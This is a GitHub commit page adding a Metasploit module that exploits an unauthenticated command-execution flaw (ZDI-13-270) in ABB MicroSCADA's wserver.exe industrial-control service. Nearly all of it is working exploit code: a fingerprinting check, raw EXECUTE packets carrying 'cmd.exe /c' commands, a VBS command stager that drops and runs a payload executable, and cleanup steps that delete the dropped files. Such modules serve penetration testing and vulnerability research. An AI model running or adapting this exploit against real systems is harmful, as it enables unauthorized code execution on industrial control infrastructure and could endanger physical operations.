Skip to content

Commit 7dee4ff

Browse files
committed
Add module for ZDI-13-270
1 parent a02e0ee commit 7dee4ff

File tree

1 file changed

+115
-0
lines changed

1 file changed

+115
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::CmdStagerVBS
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ABB MicroSCADA Stack Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
19+
vulnerability exists on the wserver.exe component, disabled by default but required when
20+
a project uses the SCIL function WORKSTATION_CALL. The issue exists on the handling of
21+
EXECUTE operations, which allows unauthenticated execution of arbitrary commands. This
22+
module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over Windows XP SP3
23+
and Windows 7 SP1.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Brian Gorenc', # Original discovery
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'OSVDB', '100324'],
34+
[ 'ZDI', '13-270' ],
35+
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
36+
],
37+
'Platform' => 'win',
38+
'Arch' => ARCH_X86,
39+
'DefaultOptions' =>
40+
{
41+
'WfsDelay' => 5
42+
},
43+
'Targets' =>
44+
[
45+
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
46+
],
47+
'DefaultTarget' => 0,
48+
'Privileged' => false,
49+
'DisclosureDate' => 'Apr 05 2013'
50+
))
51+
52+
register_options([Opt::RPORT(12221)], self.class)
53+
end
54+
55+
def check
56+
57+
# Send an EXECUTE packet without command, a valid response
58+
# should include an error code, which is good enough to
59+
# fingerprint.
60+
op = "EXECUTE\x00"
61+
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
62+
pkt = pkt_length
63+
pkt << op
64+
65+
connect
66+
sock.put(pkt)
67+
res = sock.get_once
68+
disconnect
69+
70+
if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
71+
return Exploit::CheckCode::Vulnerable
72+
end
73+
74+
return Exploit::CheckCode::Safe
75+
76+
end
77+
78+
def exploit
79+
# More then 750 will trigger overflow...
80+
# Cleaning is done by the exploit on execute_cmdstager_end
81+
execute_cmdstager({:linemax => 750, :nodelete => true})
82+
end
83+
84+
def execute_cmdstager_end(opts)
85+
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
86+
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
87+
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
88+
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
89+
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
90+
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
91+
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
92+
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
93+
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
94+
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
95+
end
96+
97+
def execute_command(cmd, opts)
98+
op = "EXECUTE\x00"
99+
command = "cmd.exe /c #{cmd}"
100+
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
101+
102+
pkt = pkt_length
103+
pkt << op
104+
pkt << command
105+
106+
connect
107+
sock.put(pkt)
108+
res = sock.get_once
109+
disconnect
110+
111+
unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
112+
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
113+
end
114+
end
115+
end

0 commit comments

Comments
 (0)